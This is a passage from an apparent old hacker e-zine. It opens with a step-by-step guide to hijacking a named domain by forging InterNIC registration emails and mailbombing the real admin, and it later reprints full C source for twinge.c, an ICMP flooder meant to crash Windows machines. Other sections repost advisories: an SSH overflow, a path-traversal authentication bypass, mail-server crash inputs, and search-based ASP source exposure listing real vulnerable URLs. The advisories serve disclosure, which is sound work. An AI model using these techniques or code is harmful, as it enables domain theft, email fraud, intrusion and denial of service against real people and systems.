5-6 hours.
Should you wish to modify or delete an existing domain name registration,
you can do so online, using our Service Agreement. You can change the
registrant’s address, replace a contact/agent with a different
contact/agent, or change primary and/or secondary name server information.
To update information about an existing contact, such as postal address,
e-mail address or telephone number, complete and submit the Contact Form
to hostmaster@internic.net. This form is available on our Web site at
www.networksolutions.com
To register or update information about a name server, complete and
submit the Host Form to hostmaster@internic.net. This form is also
available on our Web site.
Network Solutions Registration Services
e-mail: help@networksolutions.com
_______________________________________________________________________
You should now be thinking that this message could get you in trouble but
there is a way of getting rid of this trouble. Here you'll use your
mailbomber
to mailbomb the guy with 20-30 similar messages if you want your attack to
be
successful. The person would see 35 messages from the same address and
therefore
would delete all of them and you'd probably be safe. If he 'would' email
someone
then he would probably reply to the wrong tracking number. In the above
case,
the tracking number is [NIC-000128.4r50]. OK, here another hard part. You
have
to open your notepad and generate similar numbers actually come up with
them.
You should NEVER mailbomb the person with the same tracking number. What I
mean
is that you should never send more than one emails to him from
[NIC-000128.4r50]
in the next email, change the [NIC-000128.4r50] to [NIC-000127.5089] or
something
different. Here is a list of some numbers that I generated just to give you
a good idea of how the scheme works.
[NIC-000127.5089]
[NIC-000128.4rg7]
[NIC-000128.523f]
[NIC-000127.53d0]
[NIC-000129.r609]
[NIC-000128.3f6y]
[NIC-000128.5d8t]
[NIC-000127.r509]
[NIC-000128.4r30]
[NIC-000127.d307]
_____
NOTE: Remember to change the number at both places. In the subject as well
as the email
----- body!
In the case of wi2000.org you will send the email messages to
HACKEDINDUSTRIES@HOTMAIL.COM
from hostmaster@internic.net. The message subject and body are already
described above.
Stop after you have mailed him/her 10-15 messages! Now it's time to email
hostmaster@networksolutions.com with our fake email as
HACKEDINDUSTRIES@HOTMAIL.COM
So again, in this case the message will be sent to
hostmaster@networksolutions.com
from HACKEDINDUSTRIES@HOTMAIL.COM with the following template that we
created above:
______________________________________________________________________________
******************* Please DO NOT REMOVE Version Number
**********************
Contact Version Number: 1.0
**************** Please see attached detailed instructions
*******************
Authorization
0a. (N)ew (M)odify (D)elete.: Modify
0b. Auth Scheme.............: MAIL-FROM
0c. Auth Info...............:
Contact Information
1a. NIC Handle..............: AMM367
1b. (I)ndividual (R)ole.....: Individual
1c. Name....................: MICKE, ANDERSSON
1d. Organization Name.......: WI2000
1e. Street Address..........: BLIXERED 1
1f. City....................: GOTEBORG
1g. State...................: LILLA EDET
1h. Postal Code.............: 46394
1i. Country.................: SE
1j. Phone Number............: 545326-3445
1k. Fax Number..............: 545326-3445
1l. E-Mailbox...............: dd@doom.com
Notify Information
2a. Notify Updates..........: AFTER-UPDATE
2b. Notify Use..............: AFTER-USE
Authentication
3a. Auth Scheme.............: MAIL-FROM
3b. Auth Info...............: HACKEDINDUSTRIES@HOTMAIL.COM
3c. Public (Y/N)............: NO
________________________________________________________________________________
_____
NOTE: Do NOT put anything in the Subject!
-----
Just send one email! Do NOT bomb hostmaster@networksolutions.com with more
than one
emails!! That's pretty much it. Now continue to bomb
HACKEDINDUSTRIES@HOTMAIL.COM,
changing the tracking number everytime until your 30-35 tracking numbers are
used up!
Now all you gotta do it WAIT. After 24 hours you could go and change the
domain
information and no one would be there to stop you because now you are the
admin
of the domain name!
_____
NOTE: This attack will only work on domains that have an admin contact
different
----- from their technical contact!
____________________________
Intiating the Second Attack:
----------------------------
This attack will be successful even if the technical and admin contact are
the
same but the admin of the contact needs to be kind of stupid to disregard
emails from interNIC as he is also the technical contact; but this method
should
work as it has worked for me.
The procedure is basically the same apart from the fact that this time:
- Go to http://www.networksolutions.com/
- Click on the link that says 'Make Changes.'
- Enter the domain name wi2000.org
- You should be presented with 2 blue buttons
- Click on the one that says *Expert*
- Next screen would have a heading 'Select the form that meets your needs'
- Click on the link that say 'Service Agreement.'
- Now when it asks for email address, enter your own.
- Now you should see many fields, don't panic!
- Go to the technical contact and change the handle to freeservers,
hypermart e.t.c.
- Now come to 'Nameserver Information.'
- Change the nameservers to hypermart or freeserver nameservers.
- If there's anything in the 'Optional Information' after that then
simply delete them.
- Click on the button 'Submit this form for processing.'
- You are done, the form will be emailed to your email address.
- When the form arrives in your email, then simply take this part:
___________________________________________________________________________________
**** PLEASE DO NOT REMOVE Version Number or any of the information below
when submitting this template to hostmaster@networksolutions.com. *****
Domain Version Number: 5.0
********* Email completed agreement to hostmaster@networksolutions.com
*********
AGREEMENT TO BE BOUND. By applying for a Network Solutions' service(s)
through our online application process or by applying for and registering a
domain name as part of our e-mail template application process or by using
the service(s) provided by Network Solutions under the Service Agreement,
Version 5.0, you acknowledge that you have read and agree to be bound by all
terms and conditions of this Agreement and any pertinent rules or policies
that are or may be published by Network Solutions.
Please find the Network Solutions Service Agreement, Version 5.0 located at
the URL <a
href="http://www.networksolutions.com/legal/service-agreement.html">
http://www.networksolutions.com/legal/service-agreement.html</a>.
[ URL <a
href="ftp://www.networksolutions.com">ftp://www.networksolutions.com</a> ]
[11/99]
Authorization
0a. (N)ew (M)odify (D)elete.........: M Name Registration
0b. Auth Scheme.....................: MAIL-FROM
0c. Auth Info.......................:
1. Comments........................:
2. Complete Domain Name............: wi2000.org
Organization Using Domain Name
3a. Organization Name................: WI2000
3b. Street Address..................: Blixered 1
3c. City............................: Goteborg
3d. State...........................: Lila Edet
3e. Postal Code.....................: 46394
3f. Country.........................: SE
Administrative Contact
4a. NIC Handle (if known)...........: AMM367
4b. (I)ndividual (R)ole?............: Individual
4c. Name (Last, First)..............:
4d. Organization Name...............:
4e. Street Address..................:
4f. City............................:
4g. State...........................:
4h. Postal Code.....................:
4i. Country.........................:
4j. Phone Number....................:
4k. Fax Number......................:
4l. E-Mailbox.......................:
Technical Contact
5a. NIC Handle (if known)...........: BJE41
5b. (I)ndividual (R)ole?............: Individual
5c. Name(Last, First)...............:
5d. Organization Name...............:
5e. Street Address..................:
5f. City............................:
5g. State...........................:
5h. Postal Code.....................:
5i. Country.........................:
5j. Phone Number....................:
5k. Fax Number......................:
5l. E-Mailbox.......................:
Billing Contact
6a. NIC Handle (if known)...........: AMM367
6b. (I)ndividual (R)ole?............: Individual
6c. Name (Last, First)..............:
6d. Organization Name...............:
6e. Street Address..................:
6f. City............................:
6g. State...........................:
6h. Postal Code.....................:
6i. Country.........................:
6j. Phone Number....................:
6k. Fax Number......................:
6l. E-Mailbox.......................:
Prime Name Server
7a. Primary Server Hostname.........: NS1.CAN-HOST.COM
7b. Primary Server Netaddress.......: 24.215.1.6
Secondary Name Server(s)
8a. Secondary Server Hostname.......: NS2.MOUNTAINCABLE.NET
8b. Secondary Server Netaddress.....: 24.215.0.12
END OF AGREEMENT
For instructions, please refer to:
"http://www.networksolutions.com/help/inst-mod.html"
____________________________________________________________________________________
- Now launch your anonymous remailer or mailbomber.
- From: the domain admin (HACKEDINDUSTRIES@HOTMAIL.COM in this case).
- To: hostmaster@networksolutions.com
- Subject: (do not enter any subject, leave the field blank!)
- Body: the template you created above.
- You are ready to go but before you send this email to InterNIC,
remember to bomb HACKEDINDUSTRIES@HOTMAIL.COM with similar emails
but different tracking numbers as we did in the first procedure.
- After sending 10-20 emails, send the above template to InterNIC.
- Continue bombing your 40 messages. Remember to generate 40-50
tracking numbers.
- This is basically it.
- The domain would be transferred to freeservers or hypermart
and then you could simply activate it from there on your own email
address. Remember to use a fake email.
________________________
Nameservers and Handles:
------------------------
Freeservers Technical Handle: FS4394
Primary Nameserver: NS3.FREESERVERS.COM
Primary Nameserver IP Address: 209.210.67.153
Secondary Nameserver: NS4.FREESERVERS.COM
Secondary Nameserver IP Address: 209.210.67.154
Hypermart Technical Handle: DA3706-ORG
Primary Nameserver: NS1.HYPERMART.NET
Primary Nameserver IP Address: 206.253.222.65
Secondary Nameserver: NS2.HYPERMART.NET
Secondary Nameserver IP Address: 206.253.222.66
_______________
Possible Fixes:
---------------
As you have seen, InterNIC does not use the tracking number system too
efficiently. Possible fixes would certainly be a confirmation email to
the admin contact 'with' a tracking number. NOT the email saying 'Your
request
is being processed' but a confirmation email which would ask, 'Do you agree
with this request?' even if it has been sent from the same email address as
admin's!
Tracking numbers could be easily generated and the attacks I have mentioned
above aren't too hard for a script kiddie with a canned bomber.
@HWA
159.0 SSHD Buffer overflow exploit (FreeBSD)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.freebsd.org/cgi/query-pr.cgi?pr=14749
Problem Report ports/14749
/usr/ports/security/ssh/ has remote buffer-overflow
Confidential no
Severity serious
Priority medium
Responsible freebsd-ports@FreeBSD.org
State closed
Class sw-bug
Submitter-Id current-users
Arrival-Date Sat Nov 6 11:40:00 PST 1999
Closed-Date Sat Nov 20 16:27:49 PST 1999
Last-Modified Sat Nov 20 16:27:49 PST 1999
Originator N/A <N/A@FreeBSD.ORG>
Release RELENG3
Organization N/A
Environment
FreeBSD XXXXXX 3.3-STABLE FreeBSD 3.3-STABLE #6: Thu Sep 30 20:23
:42 PDT 1999 root@XXXXXXX:/usr/src/sys/compile/GARLIC i386
Description
There appears to be an exploitable buffer-overrun in the SSH 1.2.27 version
in ports, with the RSAREF implementation. SSH 1.2.27 is seemingly no longer
supported.
It goes like that...
sshd.c, do_connection at line 1513 gets a long number from the
remote side. It proceeds to pass it into rsa_private_decrypt.
rsa_private_decrypt (in rsaglue.c) has a ~200 byte buffer which can
be overflowed, giving a SIGBUS or SIG 11. It might take some talent
to overflow this because of the conversions.
How-To-Repeat
In ssh-1.2.27, modify your sshconnect.c, do_login, change every instance
of SSH_SESSION_KEY_LENGTH to SSH_SESSION_KEY_LENGTH+500, and
comment out the call to a_public_encrypt (otherwise, you'd crash yourself).
A true exploit would probably only encrypt some of the buffer, leaving
the rest to cause problems.
Fix
don't use static buffers here, or do a simple bounds check.
Audit-Trail
State-Changed-From-To: open->closed
State-Changed-By: cpiazza
State-Changed-When: Sat Nov 20 16:27:08 PST 1999
State-Changed-Why:
patch-ax, committed by imp@freebsd.org, fixes this problem.
Submit Followup
www@FreeBSD.org
@HWA
160.0 Mozilla curiosity
~~~~~~~~~~~~~~~~~
Intersting msg found on vuln-dev list...
From: Roy Wilson <emperor@squonk.net>
To: <VULN-DEV@SECURITYFOCUS.COM>
Sent: Wednesday, December 01, 1999 8:02 AM
Subject: Idiocy "exploit"
I don't know if this is really suitable for this list, it's
more of a "pay attention to what you're doing, dummy" "exploit.
I was cruising a .GOV site the other day with GetRight in
Browse mode (an enhanced FTP client, it appears), while walking a
client through the directories he needed to traverse to find the file
he wanted (a database).
We were getting different file counts - his Netscape would show
7 files, GR on my end would show 28.
After about two hours of messing around trying to find out what
was going on, we finally found it.
He had Netscape set to the default "Mozilla@" for anon login
password. If I set GR to any email address other than the one I was
using the first time around, I only saw the seven files as well.
The other 21 files were the raw data the cgi script used to
build sorted db's for HTML display.
The email address that showed all data?
fraud@irs.gov
Being the curious person that I am, I started hitting state
level sites as well as federal. About a third of them showed more
files with the fraud@ than with mozilla@.
-=-
Follow up info:
Some FTP-servers can be configured to let anonymous FTP-users that supply
a non-RFC822 compliant e-mail address as their password access a restricted
FTP-area. Roy: Try whatever@ and Mozilla@whatever and see what happens.
...
@HWA
161.0 Any user can make hard links in Unix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From vuln-dev list
From: Benjamin Elijah Griffin <bgriffin@CDDB.COM>
To: <VULN-DEV@SECURITYFOCUS.COM>
Sent: Tuesday, December 21, 1999 9:36 PM
Subject: any user can make hard links in Unix
I've talked with some people about it and found only one person who knew
about this and no one who could offer a good reason for it. So perhaps
awareness should be increased and OSs patched.
I've tested this out on SunOS 4.1; RedHat 6.0 (Linux 2.2.5-15); BSDI
BSD/OS 4.0; and NetBSD 1.4.1. Probably lots more do it.
Basically any user can make a hard link to any file IF
A) the user knows the file exists
B) has enough access to cd into the directory it is in
C) has write access to any directory on the same volume
What does this gain you?
1) If the user has read access to the writable directory, s/he
can now stat the inode even if the original location did not
offer read access.
2) The user can change the ctime of the inode (fun with tripwire).
3) Some suid programs that just checked for sym-links can perhaps
be duped into opening or writing to files they shouldn't.
4) Social hacks involving 'chown -R' or the like.
5) Screw with the quota of other users and other ways to make it
hard to delete files that should be deleted (eg large logs in
/var)
Possibly other things.
Thanks to Alexis Rosen for his input on this.
Benjamin
@HWA
162.0 Crash windows boxes on local net (twinge.c)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
BUGTRAQ Post
From: <sinkhole@NILL.NET>
To: <BUGTRAQ@SECURITYFOCUS.COM>
Sent: Thursday, February 10, 2000 1:36 PM
Subject: crash windows boxes on your local network (twinge.c)
Hi Everyone.
I've had this sitting on my hard drive for awhile but it still works,
so I figured it was time to see this get fixed. Crashes almost any
windows box on your local network. Compiles on Linux. If you can't
figure it out you shouldn't be using it anyways. =)
-sinkhole
-- BEGIN twinge.c --
/*
twinge.c - by sinkhole@dos.org [6/99]
this cycle through all the possible icmp types and subtypes and
send to target host, 1 cycle == 1 run thru all of em
Crashes almost all Windows boxes over a LAN.
DISCLAIMER:
This is a PoC (Proof Of Concept) program for educational purposes
only. Using this program on public networks where other people
are affected by your actions is _HIGHLY ILLEGAL_ and is not what
this is made for.
for without help from ryan this wouldnt have been coded. =)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
long counter=1;
void usage(const char *progname, const char *user) {
fprintf(stderr, "twinge.c by sinkhole@dos.org - licensed for use by %s\n", user);
fprintf(stderr, "This is a PoC (Proof of Concept) program for educational uses.\n");
fprintf(stderr, "usage: %s <dest> <cycles [0 == continuous]>\n", progname);
}
int resolver(const char *name, unsigned int port, struct sockaddr_in *addr ) {
struct hostent *host;
memset(addr,0,sizeof(struct sockaddr_in));
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr(name);
if (addr->sin_addr.s_addr == -1) {
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
return(-1);
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
}
addr->sin_port = htons(port);
return(0);
}
unsigned short in_cksum(addr, len) /* normal checksum */
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int send_packet(int socket,
unsigned long spoof_addr,
struct sockaddr_in *dest_addr, long seq, int ty, int code) {
unsigned char *packet;
struct iphdr *ip;
struct icmphdr *icmp;
int rc;
#ifdef DEBUG
printf("type: %d code: %d\n", ty, code);
#endif
srandom((getpid()+time(NULL)+seq));
packet = (unsigned char *)malloc(sizeof(struct iphdr) +
sizeof(struct icmphdr) + 8);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip->ihl = 5;
ip->version = 4;
ip->id = htons(random()*(seq*getpid()*3));
ip->frag_off = 0;
ip->tot_len = strlen(packet);
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->saddr = random()+ty+getpid();
ip->daddr = dest_addr->sin_addr.s_addr;
ip->check = in_cksum(ip, sizeof(struct iphdr));
icmp->type = ty;
icmp->code = code;
/*
3(unreach): cycle 0-9
5(redirect): cycle 0-3
11(time_exceed): cycle 0-1
*/
icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1);
if (sendto(socket,
packet,
sizeof(struct iphdr) +
sizeof(struct icmphdr) + 1,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) {
perror("sendto");
exit(0);
}
free(packet);
return(0);
}
int main(int argc, char *argv[]) {
struct sockaddr_in dest_addr;
unsigned int i, x, s, sock;
unsigned long src_addr;
char owner[10];
strcpy(owner, "t");
strcat(owner, "h");
strcat(owner, "e");
strcat(owner, " ");
strcat(owner, "p");
strcat(owner, "u");
strcat(owner, "b");
strcat(owner, "l");
strcat(owner, "i");
strcat(owner, "c");
if(argc < 2) {
usage(argv[0], owner);
exit(0);
}
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
fprintf(stderr,"ERROR: Opening raw socket. (need UID 0)\n");
return(-1);
}
if (resolver(argv[1],0,&dest_addr) == -1) {
fprintf(stderr, "Cannot resolve destination\n");
exit(0);
}
src_addr = dest_addr.sin_addr.s_addr;
for (s = 0;s <= atoi(argv[2]) || (atoi(argv[2]) == 0);s++) {
for (i = 0;i < 18;i++) {
switch(i) {
case 3:
/* cycle 0-9 */
for (x=0; x<=9; ++x) send_packet(sock, src_addr, &dest_addr, counter, i, x);
break;
case 5:
/* cycle 0-3 */
for (x=0; x<=3; ++x) send_packet(sock, src_addr, &dest_addr, counter, i, x);
break;
case 11:
/* cycle 0-1 */
for(x=0;x<=1;++x) send_packet(sock, src_addr, &dest_addr, counter, i, x);
break;
default:
/* just use 0 =) */
send_packet(sock, src_addr, &dest_addr, counter, i, 0);
}
++counter;
}
}
}
-- END twinge.c --
@HWA
163.0 SpiderMap 0.1 Released
~~~~~~~~~~~~~~~~~~~~~~
BUGTRAQ Announcement
I have been sitting on this for almost six months and figured it may
interest some of the users here...
To quote the README:
Spidermap is a collection of perl scripts which enable you to launch
precisely tuned network scans. The goal of this project is to create an
integrated suite of tools for low-impact network reconnaisance with
features including custom packet rates and scan types for each network
with increased efficiency by mapping multiple networks in parallel. The
target users are system administrators and network security
professionals seeking a non-destructive way to inventory network
services and do so in a resaonable amount of time.
You can find the latest code and more information at
http://www.secureaustin.com/spidermap
[ spidermap readme ] (Updated February 10, 2000)
[1] (Overview of SpiderMap)
Spidermap is a collection of perl scripts which enable you to launch
precisely tuned network scans. The goal of this project is to
create an integrated suite of tools for low-impact network
reconnaisance with features including custom packet rates and scan
types for each network with increased efficiency by mapping multiple
networks in paralell. The target users are system administrators and
network security professionals seeking a non-destructive way to
inventory network services and do so in a resaonable amount of time.
[2] (Components)
There are 3 major components of the spidermap toolkit:
< breakdown
This script takes a list of ip addresses in as input and then
prompts the user for specific information about each network.
The output is fed into the actual scanning engine. This
allows scans to be predefined for specific tasks. To see the
usage, execute 'perl breakdown -h'.
< spidermap
The core of the toolkit, this script reads in a configuration
file generated by breakdown, performs the scans, and dumps the
raw output to a file for use by the createdb script. Check
out the various options with 'perl spidermap -h'.
< nlogdb
The nlogdb script reads in the raw nmap output from spidermap
and turns it into a flat-file database in the same format
Nlog. This flat-file pipe delimited database can be used for
whatever purpose you can think of, whether scheduled network
analysis or the input for another set of tools.
[3] (Examples)
To do anything you must create a list of target addresses. This can
be accomplished by any of a number of ways:
< Nmap ping scan of your target network.
nmap -sP -PB1027 -g80 192.168.10.0/24 -m - | grep "Status: Up"
| awk '{print $2}' > target.list
< DNS zone transfer:
host -l example.com | grep "has address" | awk '{ print $4 }'
| sort -u > target.list
You then feed this list of addresses to the breakdown script, specify
any defaults or the -auto option on the command line for
non-interactive configuration.
< Interactive Configuration
perl breakdown -i target.list -o target.conf -c C
< Automatic Configuration
perl breakdown -i target.list -o target.conf -c C -p
21,22,23,25,53,79,80,110-113,139,443 -s S -auto
Now either save this configuration file for future use or start the
scan now:
perl spidermap -i target.conf -o target.log -sp 20,53,80,443
This should calculate the number of packets per minute sent out based
on your settings and ask you to hit enter to continue. I plan
on adding a non-interactive option later on. The script will start
launching multiple nmap processes in parallel, giving you some
feedback on the console while it scans.
After the scan completes, you need to do something with the output.
The createdb tool takes this output and puts it into a flat-file
pipe delimited text database.
perl nlogdb target.log target.db
[4] (ToDo)
These scripts are still very primitive and I am sure they still have a
few major bugs in them. Perl and multiple nmap processes is a very
kludgey way or accomplishing the project goal, but until I have enough
time or enough people express interest it makes a usuable prototype.
Below are the known issues:
The spidermap script launches all the processes at once instead of
spacing them out over the one minute interval. The kind of
defeats the stealth option since the fast flood of
packets makes it stand out. The exception being if you used
decoys and set the packet rate to 1 for each network.
Find a better method of parallel scanning. I dont have the time
to rewrite nmap...
BTW: Yes I know there is some "thought charting software" out there by
the same name, I really don't care ;)
-HD (hdm@secureaustin.com / http://www.secureaustin.com)
@HWA
164.0 Windows Api SHGetPathFromIDList Buffer Overflow
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Windows Api SHGetPathFromIDList Buffer Overflow
To all those people who sent email to us asking for more information
about
the SHGetPathFromIDList Windows Api overflow.
Here is a more specific description about the problem. All Structure
lengths, or Length of string, can be a modified or altered and cause
whatever handles the shortcuts to crash.
SHGetPathFromIDList
Converts an item identifier list to a file system path.
BOOL SHGetPathFromIDList(
LPCITEMIDLIST pidl,
LPSTR pszPath
);
Parameters
pidl
Address of an item identifier list that specifies a file or directory
location relative to the root of the namespace (the desktop).
pszPath
Address of a buffer to receive the file system path. This buffer must
be at least MAX_PATH characters in size.
Return Values
Returns TRUE if successful, or FALSE otherwise.
Disassembly of a hypothetical shortcut file
Offset Bytes Contents
Header
0000 4C 00 00 00 =91L=92 Magic value
0004 01 04 02 00 GUID of shortcut files
00 00 00 00
C0 00 00 00
00 00 00 46
0014 3F 00 00 00 Flags
Has item id list
Target is a file
Has description string
Has relative pathname
Has a working directory
Has a custom icon
0018 20 00 00 00 File attibutes
Archive
001C C0 0E 82 D5 Time 1
C1 20 BE 01
0024 00 08 BF 46 Time 2
D5 20 BE 01
002C 00 47 AA EC Time 3
EC 15 BE 01
0034 A0 86 00 00 File length is 34464 bytes. 86A0h
0038 05 00 00 00 Icon number 5
003C 01 00 00 00 Normal window
0040 46 06 00 00 Ctrl-Alt-F hotkey
0044 00 00 00 00 Always zero, unknown/reserved
0048 00 00 00 00 Always zero, unknown/reserved
Item Id List
004C 2A 00 Size of item id list
First item
004E 28 00 Length of first item
0050 32 00 ???
0052 A0 86 00 00 File length
0056 76 25 71 3E ???
005A 20 00 File attributes?
005C 62 65 73 74 5F 37 =93best_773.mid=94 Long name
37 33 2E 6D 69 64
00 Null terminator
0069 42 45 53 54 5F 37 =93BEST_773.MID=94 Short name
37 33 2E 4D 49 44
00 Null terminator
Last item
0076 00 00 Zero length value
File location info
0078 74 00 00 00 Structure length
007C 1C 00 00 00 Offset past last item in structure
0080 03 00 00 00 Flags
Local volume
Network volume
0084 1C 00 00 00 Offset of local volume table
0088 34 00 00 00 Offset of local path string
008C 40 00 00 00 Offset of network volume table
0090 5F 00 00 00 Offset of final path string
Local volume table
0094 18 00 00 00 Length of local volume table
0098 03 00 00 00 Fixed disk
009C D0 07 33 3A Volume serial number 3A33-07D0
00A0 10 00 00 00 Offset to volume label
00A4 44 52 49 56 45 20 =93DRIVE C=94,0
43 00
00AC 43 3A 5C 57 49 4E =93C:\ WINDOWS\=94 local path string
44 4F 57 53 5C 00
Network volume table
00B8 1F 00 00 00 Length of network volume table
00BC 02 00 00 00 ???
00C0 14 00 00 00 Offset of share name
00C4 00 00 00 00 ???
00C8 00 00 02 00 ???
00CC 5C 5C 4A 45 53 53 =93\\ JESSE\ WD=94,0 Share name
45 5C 57 44 00
00D7 44 65 73 6B 74 6F =93Desktop\ best_773.mid=94,0
70 5C 62 65 73 74 Final path name
5F 37 37 33 2E 6D
69 64 00
Description string
00EC 12 00 Length of string
00EE 42 65 73 74 20 37 =93Best 773 midi file=94
37 33 20 6D 69 64
69 20 66 69 6C 65
Relative path
0100 0E 00 Length of string
0102 2E 5C 62 65 73 74 =93.\ best_773.mid=94
5F 37 37 33 2E 6D
69 64
Working directory
0114 12 00 Length of string
0116 43 3A 5C 57 49 4E =93C:\ WINDOWS\ Desktop=94
44 4F 57 53 5C 44
65 73 6B 74 6F 70
Command line arguments
0128 06 00
012A 2F 63 6C 6F 73 65 =93/close=94
Icon file
0130 16 00 Length of string
0132 43 3A 5C 57 49 4E =93C:\ WINDOWS\ Mplayer.exe=94
44 4F 57 53 5C 4D
70 6C 61 79 65 72
2E 65 78 65
Ending stuff
0148 00 00 00 00 Length 0 - no more stuff
The target is located at:
C:\ WINDOWS\ Desktop\ best_773.mid
The windows directory is shared as:
\\ JESSE\ WD
Note:
This overflow does not work under win2k
u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c
h
http://www.ussrback.com
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.2 for non-commercial use <http://www.pgp.com>
iQA/AwUBOJsyuNybEYfHhkiVEQJHNACg58a5nakFaSPNoFVOLZ0WMPMHVYcAn0TT
2HEPwsUBJTmD4Fzah4yZ+Zjh
=3DBFth
-----END PGP SIGNATURE-----
@HWA
165.0 Anywhere Mail Server Ver.3.1.3 Remote DoS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
Hello,
I've reported DoS probrems on Internet Anywhere Mail Server Ver.3.1.3
to support@tnsoft.com on 3rd Dec,99. They started to develop the fix.
But they said "we'll release the fix in couple of weeks" three times.
I've discussed with Jeff Moll(President of True North Software, Inc.)
and he allowed me to post these vulnerabilities.
1. RETR DoS in POP service
+OK POP3 Welcome to somewhere.domain using the Internet Anywhere
Mail Server Version: 3.1.3. Build: 1065 by True North Software,
Inc.
USER yellow
+OK valid
PASS pikapika
+OK Authorized
RETR 111111111111111111111111
That's all. The Server could be dead at a little bit after
atoi(). They should check return value of atoi().
2. multiple connections to port 25 DoS
This is simple game, too.
Too much connect()s about 3000, then you will see connection
refused. After that, too much connect()s again about 800, then
you can't connect anymore.
It depends on memory size(I tested on 128MB RAM,total 256MB).
They should check connection status.
Moderator of BUGTRAQ-JP
<Nobuo Miwa> n-miwa@lac.co.jp ( @ @ ) http://www.lac.co.jp/security/
-------------------------------o00o--(. .)--o00o-------------------------
@HWA
166.0 .ASP error shows full source code to caller
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ASP = Active Server Pages (Microsoft)
Packetstorm:
Forwarded with permission of the author. Please direct all replies to
jwalsh@jwsg.com.
Ben Greenbaum
Director of Site Content
Security Focus
http://www.securityfocus.com
---------- Forwarded message ----------
Description:
============
Active server pages (ASP) with runtime errors
expose a security hole that publishes
the full source code name to the caller.
If these scripts are published on the
internet before they are debugged by
the programmer, the major search
engines index them. These indexed
ASP pages can be then located with a
simple search. The search results publish
the full path and file name for the ASP
scripts. This URL can be viewed in a browser
and may reveal full source code with
details of business logic, database location
and structure.
Procedure:
==========
- In the Altavisa search engine execute a search for
+"Microsoft VBScript runtime error" +".inc, "
- Look for search results that include the full
path and filename for an include (.inc) file.
- Append the include filename to the host name
and call this up in a web browser.
Example: www.rodney.com/stationery/browser.inc
Examples:
=========
http://shopping.altavista.com/inc/lib/prep.lib
Exposes database connections and properties, resource locations,
cookie logic, server IP addresses, business logic
http://www.justshop.com/SFLib/ship.inc
Exposes database properties, business logic
http://www.bbclub.com:8013/includes/general.inc
Exposes cobranding business logic
http://www.salest.com/corporate/admin/include/jobs.inc
Exposes datafile locations and structure
http://www.bjsbabes.com/SFLib/design.inc
Exposes source code for StoreFront 2000 including
database structure
http://www.ffg.com/scripts/IsSearchEngine.inc
Exposes search engine log
http://www.wcastl.com/include/functions.inc
Exposes members email addresses and
private comments file http://www.wcastl.com/flat/comments.txt
http://www.traveler.net/two/cookies.inc
Exposes cookie logic
Resolution:
===========
- Search engines should not index pages that
have ASP runtime errors.
- Programmers should fully debug their ASP
scripts before publishing them on the web
- Security administrators need to secure
the ASP include files so that external users
can not view them.
===========================
Jerry Walsh
JW's Software Gems
Email jwalsh@jwsg.com
Phone (949) 855-0233
Website http://www.jwsg.com
===========================
@HWA
167.0 Bypassing authentication on Axis 700 Network Scanner
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
Infosec Security Vulnerability Report
No: Infosec.20000207.axis700.a
=====================================
Vulnerability Summary
---------------------
Problem: Bypassing authentication on Axis 700 Network Scanner;
By modifying an URL, outsiders can access
administrator URLs without entering username
and password.
Threat: Unauthorized access.
Platform: Axis 700 Network Scanner Server
(Software Version 1.12)
Solution: Non? Se below.
Vulnerability Description
-------------------------
User pages are located under http://server/user/.
The URL to the configuration page is:
http://server/admin/this_axis700/this_axis700.shtml
This page is password protected. The actual configuration takes place on the
pages linked from this page. By changing the URL to:
http://server/user/../admin/this_axis700/this_axis700.shtml
gives an outsider access to the configuration page without entering username and
password. The server seems to check access permissions before URL conversion.
The server also decodes %1u to %2e (not a vulnerability).
Solution
--------
<<Quote_from_Axis_Support
Hi,,
You will find the latest version on http://www.axis.se/techsup
Best Regards
XXXXXX XXXXXXX
Quote_from_Axis_Support
Nothing says that version 1.14 will fix this vulnerability.
Other information
-----------------
Infosec recommends everyone to try to access their authorized pages with URLs
as:
http://server/NonPrivPage/../PrivPage/
Infosec thanks weld at l0pht for the inspiration
(http://www.l0pht.com/advisories/showcode.txt)
//Ian Vitek
ian.vitek@infosec.se
-------------------------------
Infosec is a Swedish based tigerteam that have worked with computer-related
security since 1982 and done penetration tests and technical revisions since
1996. Infosec is now searching for co-workers. Call Blume on +46-8-6621070 for
more information.
@HWA
168.0 Novell Bordermanager 3.0 through 3.5 is vulnerable to a slow DoS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
The issue also affects BorderManager 3.0 (sp2)
running on NetWare 4.11 sp6a. I was able to
